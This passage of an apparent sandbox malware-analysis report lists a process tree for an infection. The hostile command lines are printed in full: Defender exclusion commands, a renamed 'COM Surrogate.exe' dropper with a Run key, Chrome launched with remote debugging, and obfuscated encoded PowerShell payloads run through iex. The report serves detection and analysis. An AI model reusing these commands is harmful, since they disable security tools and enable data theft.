        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4632,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4820 /prefetch:8
        5⤵
        
        PID:6656
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4960,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4968 /prefetch:8
        5⤵
        
        PID:7008
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5000,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4996 /prefetch:8
        5⤵
        
        PID:7608
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5104,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4876 /prefetch:8
        5⤵
        
        PID:5236
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4900,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4984 /prefetch:8
        5⤵
        
        PID:2880
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4972,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5148 /prefetch:8
        5⤵
        
        PID:4828
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5160,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4664 /prefetch:2
        5⤵
        Uses browser remote debugging
        
        PID:4116
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10127931121\skf7iF4.cmd"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6572
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\10127931121\skf7iF4.cmd' -ArgumentList 'sgcCUaUFtA' -WindowStyle Hidden -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      PID:7360
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10127931121\skf7iF4.cmd" sgcCUaUFtA
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6060
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "if ((Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model | findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse | Where-Object { -not $_.PSIsContainer } | Measure-Object).Count)) {exit 900} else {exit 1}"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2492
        
        C:\Windows\SysWOW64\findstr.exe
        
        "C:\Windows\system32\findstr.exe" /i WDS100T2B0A
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:7036
- - C:\Users\Admin\AppData\Local\Temp\10127940101\PQkVDtx.exe
    "C:\Users\Admin\AppData\Local\Temp\10127940101\PQkVDtx.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Enumerates system info in registry
    PID:6796
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\runtime'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:216
  - - C:\Program Files\runtime\COM Surrogate.exe
      "C:\Program Files\runtime\COM Surrogate.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      NTFS ADS
      PID:3892
    - - C:\Windows\system32\net.exe
        
        "net" session
        5⤵
        
        PID:1136
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:6364
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -EncodedCommand JAB5AHAAdgBuAHkAawBjAHMAPQAnAFAAMwBRADAASwBTAEkASgBaAEIAawBFAEEAaABzAFkATQAzAFUAdwBPAHkASQBlAGQAeABvAHoAZQBUAFUAQwBDAFMAawBvAEwAaABzAHcAVABSADQAWQBDAFcAQQBzAEMAUwBvAEMAYwBDAE0AdwBZAHgAZwAxAEQAeQBrAGUAQwBYAFEAMwBKAGcAcwBlAEIAQwBrAHoAZQBHAEEAYQBNAHgAQgBUAEsAZwBnAGkAYwB3AFkATABDAFcAQQBnAEMAUQBFAGsATwBCAHMAdwBiAHcARQB5AEoAdwBjAGIATQAzAFUAegBKAGcAMAB5AFkAMQBrAEkAZQBDAGwAZgBDAFgAVQBLAE4AeQBNAEwAZAB3AFUAMQBEAFQAWQBKAEkARAA0AEMAQgBRADQATABUAFQAcwB5AGUAQQBjAFgAQwBYAFkAZQBBAHgAcwBnAEIAQgAwAHoASQB6AEkAQQBJAEQANABuAE4AUgBjAEsAWQB4AFEASQBJAHgATQA5AEQAaABCAFQAQQB5AEkAZQBkAEIAawBIAGUARAAwAGIATQBBAEIAZgBjAGgAUgBVAFoAMQBnAHoARABRAFEASgBPAFEAQQBLAEsAaABzAGcAWQB4AGcAPQAnADsAJAByAHEAcwBxAGMAZwBnAHoAPQAnAGoARwBmAEEAQQBnADUAbQBRAEoAUQBuACcAOwAkAGwAdQBmAG4APQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAeQBwAHYAbgB5AGsAYwBzACkAOwAkAGEAawBvAHkAaABpAD0AKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkACgAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAGwAdQBmAG4ALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAbAB1AGYAbgBbACQAaQBdAC0AYgB4AG8AcgBbAGIAeQB0AGUAXQAkAHIAcQBzAHEAYwBnAGcAegBbACQAaQAlACQAcgBxAHMAcQBjAGcAZwB6AC4ATABlAG4AZwB0AGgAXQB9ACkAKQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGEAawBvAHkAaABpACkAKQB8AGkAZQB4AA==
        5⤵
        
        PID:5956
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:436
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -EncodedCommand JAB5AHAAegBxAD0AJwBZAFYAZwBRAFAAeQAwAFkAQgB6AGMAWABaAGoASQBPAGIAVgBrAFUATABTADAAUABGAEQAUQBnAEgAUgB3AFUAVgB3AFUATQBPAEIAUQBoAEwAagBBAEwAYgBVAGsANgBWAHcAWQBtAFoAaQB3AGgAQQBEAFkAbQBhAHcAQQBJAFYAMQBnAFQATQBBAFEAUABaAHcAYwBnAEgARQBrAE0AYgBUAHgAMwBQAEEAYwB6AEUAQwBnAFkAYgBVAGsAMgBWAHkAMABBAEwAaABRAGgARABDADgAaABRAHkANABOAGIAVgBrAFgATQBBAEkAagBBAEgAYwBiAEgAQQBCAEoAVgAxAGsAdQBJAFMAdwBhAEYAQwBzAG0AYQBSADgAZgBmAGgASQBtAEUAdwBFAGEATABoAFUAaABIAEMANABCAFYAMQBvADYARgBSAFEAeABaAHoATQBnAFEAZwBBADYAVgB5AE0AQQBFAGgAYwB1AEIAQwBzAGEAYQB3AEEATwBiAFYAawBFAEoAQgBZAHcARgBDAHMAYgBIAEEAdwBRAGIAbABrAFUATABRAFEAUABOAFMAMABMAGIAVQBrAHYAYgBqAE0ASQBQAGcAYwB3AEgASABJAGcAUgBUADQAQwBmAFMAaAB6AEQAeQA4AGgAWQB5AGcAZwBIAFIAdwBzAFUAQwBNAHUASgBCAFEAbABGAEEAbwBqAGUAUwBvAFQAYgBqAHgAMgBhAGcAPQA9ACcAOwAkAHoAZABmAGoAbABiAHMAPQAnADQAawBCAFcATgB2AFYAQwBCAC4AeAB4ACcAOwAkAGkAYgBkAHAAdwBoAHQAdgA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB5AHAAegBxACkAOwAkAHEAcQBrAHcAcQB4AD0AKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkACgAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAGkAYgBkAHAAdwBoAHQAdgAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABpAGIAZABwAHcAaAB0AHYAWwAkAGkAXQAtAGIAeABvAHIAWwBiAHkAdABlAF0AJAB6AGQAZgBqAGwAYgBzAFsAJABpACUAJAB6AGQAZgBqAGwAYgBzAC4ATABlAG4AZwB0AGgAXQB9ACkAKQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHEAcQBrAHcAcQB4ACkAKQB8AGkAZQB4AA==
        5⤵
        
        PID:4676
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Packages'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4800
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -EncodedCommand JABsAHUAYQBoAHUAYwBlAGwAPQAnAE8AaABVAHYAUQBoAFEAdgBKAFEAUQBQAEYAQwBkAFUATwBSAFoASgBGAFMAQgB6AEgAdwBBAE4AYwBDAGQAQwBFAGcARgBNAEoAaQAwAFYASAB3AFEATgBMAGgAawBlAEYAUQBGAE0ASQB4AFEAdgBQAFUAQQAzAGMAUgBsAFoASwBRAFUATwBCAHkARgB3AFAAVQBBADAAQgBFAHcAZABFADIASQBWAEcAUwAwAFYAWgBBAFUAUABHAHkAYwBiAEsAQQBZAFcAUgBDAFYAdwBCAHcAVQAvAGMAQwBOAFgARQB6ADgAdgBCAHgATQBCAE4AawBVAGkASwBFAEIARwBFAGcAVQBzAFIAVABnADcAQQB3AEEAMABjAEIARQBhAEUAUQBVAG8ARgBTAGMAUgBFADMAMAAwAEcAeQBSAGEASgBXAEEAMwBIAFMAMABWAEEAdwBRAE0AQgBDAE4ARgBKAGgAVQAvAEMAQgBZADcARQB3ADAAbgBCAFQAdABDAEUAaABVAHYARwBCAE0AQgBZAEcAVQAzAEwAZwBWAEMASwBXAEUAbwBGAFQAcwBYAEIAdwBFAE4AQgBEAE4AYgBLAGgAUQA3AEMAeABWAHgARQAxAGsATgBMAFMAYwBiAE8AUgBRAHIARwBoAFIAdwBKAFcAUQAzAEcAeQBkAEIATwBSAEYASQBKAEIAVQB2AFAAVQAwAEsARgBDAEEAWgBQAHkAcwByAFEAeABNAGEASQBWADQAMwBPAGoAUQBYAE8AUgBkAE0ASABoAE0ANwBZAEcAVQAzAEwAZwBWAEMASwBXAEUAbwBGAFMASgB4AFAAVQA4AEsAQgBDAE4AYQBQAEQANAB6AEcAaABVAHYAQQAwAE0ATQBGAHcAWQBaAE8AaABWAEkASAB4AFEAdgBHAHcARQBMAEIAQwBSAEoASQBBAEUANABHAFIAVQBzAEIAMABZAE0AQgB3AFkAWgBPAGgAVQBWAFEAeABNAGEAQwBGAEkAKwBFAEQAUgBGAEUAagB3AHYAQQBSAFUARwBJAGcASQBrAEIAQQAxAFcARQAyAEEASgBHAHoANABHAFkAVgBJAGsAQgBFAEEAZgBFAGgAVQBPAFIAVABoAHgATgBWAG8AUABGAEEAMQBDAE8AUgBFAGUARwBSAEkAVgBOAFEAWQBMAEIAQgBsAEYAUABEAGsAMwBCAEIATQBWAFoAQQBVAG4AQQBFAFIAQQBGAEIARQA0AEIAVAA0AEIAWQBGADAATQBMAGkAUgBKAFAAQQBWAE0AQgBCAE0AQgBFAEYANABNAEYAQwA5AFgASwBUAHcAUgBSAGkAMABCAE8AbABJAEwATwBRAFoARgBFAFEAbwB2AFEAeABNAHIARQBBAHcAbgBBAEMAYwBiAEsAbQBFAGQAUgBoAFkAVgBBADEAYwBrAEMAeQBNAGYARgBUADgAcgBHAEQAcwBwAFoARgBrAEwAQwB5AFIAQgBQAFIARQBPAEYAVAAwAEsAUABWAHMASwBjAEIAMQBlAEsAaABGAE0ATgBoAFYAeABCADAAQQBLAEEAQgBsAEsAUAB5AGcASwBHAFIAWQBzAEYAMABZAEwAQwB6AHQAWQBGAFQAcwA0AFMAegA0AEgATgBWAGsASwBBAEUAUgA2AEsAVwBBAFIASABpADAASwBCADAAWQAwAEYAQwBkADcASwBRAG8AMwBBAEQANABCAFkARwBBADMARwB6AHQAYwBKAFIAVQAvAFEAaABZAEIARQBGADQAUABHAHkATQBmAEYARABnAEsAUgBSAFkAVgBDAEYASQBsAEEAQwBkAGYARQB3AFUAQgBSAGgAUgB3AGEAQQBNAGkASwBEAHQAWQBGAEEAVgBNAFEAagA0AEIAWQBGAHMASwBBAEQAUgBaAE8AdwBFADcAUgBUAGcANwBBADAARQAwAEwAVAA5AEgARgBSAG8AUgBHAFQANABHAFkAVgBJAGsAQgBBAFYAVwBFAGgAbwBSAEMAQgBWAHgASQBWAGMAawBDAHkATQBmAEYAVAA4AHIARwBEAHMAcABaAEYAawBMAEMAeQBSAEIAUABSAEUATwBGAFQAMABGAEkAVQAwAE0AQwB4ADEAVQBFAG0ARQBXAEIAeQBaAHcAYQBBAFEATQBMAFMAUgBlAEsAQQBZAEsAUgBUADAARgBLAFUAMABOAGMAUQBWAEgATwBSAFoASgBGAFIAWQBWAEMARgBJAGwAQQBDAGQAYQBLAGoAdwB6AEcAeABJAEsATwBWADQAaQBLAEMAZABDAEUAMgBBADMAQwB4AFkAYQBFAHcAVQBQAEYARQB4AGIATwB3AEUANwBSAFQANABCAEEAMABFADAATABUADkASABGAFIAbwBSAEcAVABzAHAAQQAxAGsATgBjAFQAdABYAEUAUQBvADcAUQBoAFkAVgBhAEUAQQBuAEMAMABWAEoASwBnAFUAQgBDAEMAMABSAEUAdwBJAG4AQQBCAE4ASABIAHgAcwA0AEgARAA0AEsAWQBRAEkAaABjAEUAVgBKAEsAZwBVAEIAQwBDADAAUgBFAHcASQBoAE8AaQBjAGIASwBtAEUAZABSAGgAWQBWAEEARgBJACsARQBEAFIARgBGAFEAVQBkAFEAUgBJAEYAUABWADQAbgBDAHcASgBKAEoAbQBBAFIASABoAFEAdgBCAEUARQA2AGMAVAA5AGYASwBnAFUAMwBRAGoANABLAEkAbABJAGsAQgBVADEASgBQAEEAVgBNAEgAagA0AEIAQQAwAFUASwBHAHkATQBjAE8AUgBwAEoAUgBUAGgAeABZAFEASQBJAEYAdwBGAGUASwBqAHMANABIAFQAMABGAFkARgBnAE4ATABqADgAYQBGAFIAVQBvAEEAagA0AEsASQBnAEkAawBCAEEAVQBhAEsAVwBFAHYARwBoAEkAQgBFAEEAdwBuAEIAawBCAEMARgBDAHQASQBKAGkANQB3AE8AVgBrADAAQwB5AE4AZABLAGcAVQByAEoAeQA0AGEASAAwAGMALwBGAEQAcwBlAEUAUQBWAEEAQgB6ADQAQgBZAEgATQBMAEIAQwBOAEUARgBBAG8AcgBIAGoANABCAE4AWABFAGgATAB3ADEANABFADIAQQB2AEMAeABSAHoASwBYAGMAMABCAEUAUgBlAEUAagA0AEIATQBCAFEASwBFADMAQQAzAEcAeQBkAEcASwBCAGMAQgBCAEMANQB3AEYAMABZADIAQgBUAGQARwBLAFcAQQBOAEcAaQAxAHcAQgAwADgAMgBCAGsAUgBlAEsAVwBFAHoAQgBCAFIAdwBhAEYAZwBLAEEARQBCADAARQBtAEUAdgBDAHkASQBGAE8AVQBNAE0ATABpAE4ASQBQAFcARQBkAEgAaABaAHgAUABWAHcAagBGAHoAUQBhAEsAVAA4AHoAUQBTADAAVQBLAFUATQBOAEMAeQBkAE4ASgB3AFYAQQBRAHgAUQB1AEUAMQBvAE0AYwBVAEIAQwBQAEQAOAB2AFIAaQAwAFIATQBnAEkAaABPAGkAZABHAEUAaABVAHoAUQBoAFkAUgBFAEEAdwBuAEEAQgAxAG0ASwBnAG8AbwBCAGkAVQBGAEYAdwBVADAARQBCADUAYgBJAFEAVQByAEcAUwBVAEYARgB3AEEATgBPAGgASgBXAE8AdwBGAE0ATgB5ADQAYQBBADEAawBpAEsARABOAEYASwBoAGMAUgBCAEIATQBhAEcAMAA4AGwAQgB6AEEAZABPAHcARgBNAE0AQwAwAEYAQQAzAHMAUABGAEUAQQBmAEYAQgBVAHYAQwBEAHcARwBIAEUAOABsAEYAdwBZAFoATwBoAFUAVgBIAEIASQB2AEcAMAB3AFAATABrADEASgBJAEEARQA3AFAAUwAwAGEATQBrAEUANwBjAFQAdABCAEsAZwBVAHIAUQB4AFUARgBCADEANAA0AEIARABOAFUARQBXAE0AcgBDAHgAWQBWAE4AVgBzADAARwB6AHgASgBQAEEAYwByAEcAaABZAFYASwBRAEEAbgBBAEUAUgBzAEYAQgBFADQARwBTADQAVgBLAFYAdwBLAEIAQgA0AFoAUAB5AHMAcgBIAGgATQBLAEUAMAAwADMARQBEAFEAWABPAFIAZABNAEgAaABNADcAWQBHAEUAMwBjAFIAMQBDAEsAaABvAHYAQQBTADAAVgBBADIAQQAzAEcAegB0AGMASgBSAG8AegBBAGgAVQB2AEgAMABVAE4AQgBEAE4AZABPAFIARgBJAEoAQgBSAHcAQgAwAHcAOQBGAEMAUgBKAE8AaABVAHYAUQBoAFEAdgBKAFEAUQBQAEYAQwBkAFUATwBSAEYASQBQAHgAVgB3AE4AVQBNAE0ATAB5AGMAYgBFAHgAVQBzAEYAUwBRAFYAWgBBAFUAMABHAHoAOQBHAEsAVwBFAHIAQQBoAE0AdgBCAEYASQBpAEYAVAA4AGYARQBqAGsAQgBIAGgATQB2AEIAMABZAG4AQgBoADEAZQBLAG0AQQBSAEgAaABSAHgAQQBBAEkAaABPAGkAYwBhAEYAUQBvAGoAQwBoAFEAUgBFAEEAdwBuAEIAawBCAEMARgBDAHQASQBKAGkANQB3AE8AVgBrADAAQwB5AE4AZABLAGcAVQByAEoAeQA0AGEASAAwAGMANwBjAFMATQBlAEYAQgBVAFYAQgB5ADEAeABIADIARQAwAEcAeQBSAEoAUABBAGMALwBBAFIAVQBGAGEAQQBZADcAYwBDAGQARwBFAHoAdwByAE8AQwAwAHAAYQBFAEEALwBMAGoATQBlAEYAQgBVAHYAQwB4AFkAVgBCADAAOABuAEEARQBSAHIARQBtAEIATQBRAGkASgB4AEEAMABNAE4AQgBoAGwARABJAG0AQgBBAEEAaABVAHYATgBXAFUATQBLAEQAOQBHAEYAQgBvAHIASABoAFEAdgBQAFYAawBOAE8AagBSAGEASgBXAEUAcgBHAGgAUQBzAEEAMgAwAFAAQgBDAE4AYgBJAFEAbwBqAEcAaABZAFYASwBWADAAMwBMAGcAMQBDAE8AUgBGAEkATwB4AFkAVgBBADEANAAwAEYARQBFAFoAUAB5AHMAcgBSAGgASQBhAEMAMAAwAE4ARQBFAEIAbwBGAFIAVQB2AEcAQgBNAGEAQQAwAFUATQBjAFUAQgA3AEUAUQBWAEkASABpAE0ARgBQAFUARQBQAEcAeQBSAEoASQBBAEUANABIAEMASQBFAEEARQBJADcATwBoAFkAWgBQAHkAcwByAFIAaABJAGEAQwAwADAATgBFAEUAQgBzAEUAaABVAEIAQgBCAE4AeQBPAFYAMABOAEwAaQBkADcASwBnAG8AegBCAGgAWQBWAFoARgAwAEsAQgBDAEIASgBJAEEARQA0AEcAUwAwAHYARgAwAFkATgBjAFMAQQBaAFAAeQBzAHIAUgBoAEkAYQBDADAAMABOAEUARQBCADkASwBnAG8AMwBRAGkANABhAEcAdwBVADkARgBFAEEAZQBLAGcAbwB6AFEAQwA0AFYASgBsAEkAKwBFAEQAUgBBAEoAUgBRAG8AQwBEAG8ASABZAFYAcwBoAE8AUQBaAEYARgBSAG8AVgBRAEIAUQBhAEYARQBBADcATABpAE4AVQBGAEIAVQAvAEMAeABNAEgASAAwAE0ASwBGAEUAQQBlAE8AUgBaAEoARgBUAGsARwBOAGcASQBoAE8AaQBjAGEARgBRAG8AagBDAGgAUQBSAFoARwBFAEsAQgBEAE4AWABGAEIAUQBkAEgAUwAwAFYAWgBIAGMASwBMAGoATgBlAEUAaABVAC8ARwB4AFUARgBCAEYASQArAEUARABSAEYARgBCAG8AegBRAHkAMABXAEkAZwBJAGsAQwB4ADAAYgBGAEQAdwAvAEMAagBzAHUATgBWADAAUABjAFMATgA3AEUAbQBNAHoAUQB4AFUAcgBFAEEAdwBuAEEAQwBjAGUARQB6AHcAdgBIAGoAZwA0AEkAbAA0AEwAQwB4AGsAYwBFAHcAbwA4AEIAeQBZAFYASwBVAFkATQBjAEIARgByAEsAZwBWAEkARwBoAFUAdgBBADIARQBLAEIARABOAFgARgBCAEUANABTAHoANABCAEEAMQBnADMARgBBADEAVQBLAGcAWQBLAFIAVAAwAEYAQQAxADAATgBCAEUAQQBlAEYAQgBFADQAUwB6ADQAQgBHAEYANABsAEEAQwBkAGEASwBqAHcAegBHAHgASQBLAE8AVgA0AGkATAB5AGQARwBFADIAQQBOAFAAUwA0AFYAWQBGAGsAbABKAGoANQBKAEYAeABFAHcAUgBUAGgAegBHADEAawAwAGMAUgBsAFUARgBCAFUAdgBDAHoAcwBVAEgAMQA4AFAAQgBDAE4ARgBGAEEAVQBCAEgAaQAwAEUAQQAxADAATgBjAFEAWgBKAFAAQQBjAC8ARwBCAE0ARgBQAFUATQBNAEsAagBSAEYARQBUAHcAUgBHAEIATQBWAEYAdwBFAG4AQQBFAFIANwBFAHoAOABWAEgAQwAxAHcAQgAwAHcAbgBBAEMAZABlAEsAbQBFAEoARwB4AFEAdgBJAFUATQBuAEEARQBSAC8ARQB6ADgAVgBCAHkANQB3AFAAVQBJADMARgBBAEoASgBPAGgAVQB2AFEAaABRAEsARgAxADAAbgBBAEUAUgA2AEsAZwBvAHIAUQBoAFkAVgBaAEYAcwBOAE8AagBSAEYARgBSAG8AVgBRAEIAUQBhAEYARgBJAGkARgBTAGQARwBFADIAQQBOAFAAUwA0AFYAWQBGAGsAbgBBAEMAZABGAEsAUQBvADcAQgB4AE0ASwBBAEYASQBpAEYAUwBkAEcARQAyAEEATgBJAHkANABhAEEAMQBvAG4AQQBDAGQAZQBGAEEAbwB2AFEARAA0AEIAWQBIAEEAMABHAHoAdABFAEUAegA4AFYAQgBSAE0ARgBQAFUATQBNAEsAagBSAEYARQBoAG8ALwBDAEIAWQB2AEcARgBJAGkARgBpADkAWQBFAHoAOAAzAEgAagBnADQASgBRAHcAPQAnADsAJAB4AHgAbgB2AD0AJwBwAFIAeQByAHcAQgBRADUAbgBDAHUALgAnADsAJABpAHkAegBmAGcAcQA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABsAHUAYQBoAHUAYwBlAGwAKQA7ACQAZwByAGwAdABpAHEAZABiAD0AKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkACgAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAGkAeQB6AGYAZwBxAC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAGkAeQB6AGYAZwBxAFsAJABpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdACQAeAB4AG4AdgBbACQAaQAlACQAeAB4AG4AdgAuAEwAZQBuAGcAdABoAF0AfQApACkAKQA7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABnAHIAbAB0AGkAcQBkAGIAKQApAHwAaQBlAHgA
        5⤵
        
        PID:3060
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -EncodedCommand JABmAGwAbgBsAG4APQAnAEQAMwA0AFcATQBUAGcAOQBJAFQAdwBZAEcAUQB4AG8ARABIAEEAdwBIAFQAdwA5AEoAVwBNAFkASgAzADAAawBFAEEAUQBTAEkAegAwADkASQBTAE0AbQBPAEMAWQBrAEUASAA0AE8ATwBUAHMASQBKAFMATQBoAE4AdwBzAGkAQwBWAG8AZwBPAFQAcwBJAE8AUwBVAG0AUQB3AE0AYgBIADMARQBTAFAARAAwAGkAQgAyAE0AbgBKAG4AMQBuAEMAbAAwAGcASgBUADAAZwBKAFcASQBoAEgAZwBjADkASgAxAGcAVgBKAGgASQAyAFgAaAB3AGIASgAzAHcAOQBDAGsAdwAzAEkAagAwAHQATwBUAHMAagBPAEIAUQAyAEYAVwBVAEcAQQBRAE0AOQBPAGkAYwBYAFEAZwBNACsASAAyAEUAVwBlAEQAcwBpAFAAVABnAFUATgB3AHMAcgBKAEUAOABHAGMAUgBBAGoASgBUADgAZwBOAHgAcwA3AEkAWABWADEARwBRAEEASQBHAHoAOABiAFEAeAB3ADIAQwBXAE0AUwBmAFQAbwBpAEwAUwBZAFkATgBnADgAbwBKAHcAVQBHAEoAVABvAEwATwBXAFkATABOAGgAOAA1AEoAZwBRAHcARwBBAEEAOQBPAFQAdwBMAE0AMwB3AEgASgAxAHMAbwBNAFQAMAB5AFAAbQBRAE4AQwBSADgANQBKADEAcwA4AE0AdwBNAE0ASwBtAG8ATABOAFgAZwA5AEkAVQA5ADEARwBRAEEASQBHAHoAOABiAFEAeAB3ADIARQBBAFUAbwBNAHoAMABpAFAAUwBjAE8ASABBAGMANQBKADEAcwBXAFAAegBzAHgARwBHAFEASQBPAEEAdABoAEgAMgBGAHgAZQBEAHAAVwBBAEQAUQBTAEkAdwB3ADYASgAxAGcAUwBPAGoAcwBoAEcARwBRAEkATwBDAFUAaABKAGcAVQBPAEkAQQBOAFcATwBqAFEAUwBJAHcAdwA2AEoAMQBnAFMATwBqAHMAaABHAEcAUQBJAE4AeABzAGwASQBRAFUAVwBJAEEAQQBjAEsAbQBvAEwATQB4ADgAawBJAFcARQA4AE8AaABZAGYASAAyAEEAagBOAHkARQBpAEgAMgBVAEYASgBoAE0AdABPAFcATQBiAEoAeQBWAGoAQwBWADAASwBQAHoAMAB5AFgAbQBNAEwATQAzAHcALwBJAFgAVQBGAFAAaABBAG0AVwBqAHMAZwBIAFIAdwAyAEMAVwBGAHgAUAB6ADAAbQBLAGoAZwBoAEsAQgA4ADkASgAxAGcAUwBNAHoAdwAyAEEARABRAG4AQwBqADQANgBJAEgARQBvAE0AegBvAEkASQBUADAAbQBNAHcAeABvAEQASABVAFcAZQBUADAAaQBMAFQAdwBtAEgARAA0ADYASABHAEYAeABPAGoAcABYAE0AaQBZAFcASABSAHQAbABJAFgAVQBqAFAAaABVAG0ASwBqAGcAbQBPAEIAOAA1AEoASAA0AGQAUABBAGgAWABVAG0ASQBnAEgAaAB3AGgASABXAEkAMwBmAGgATQB0AE0AVwBjAGgASgA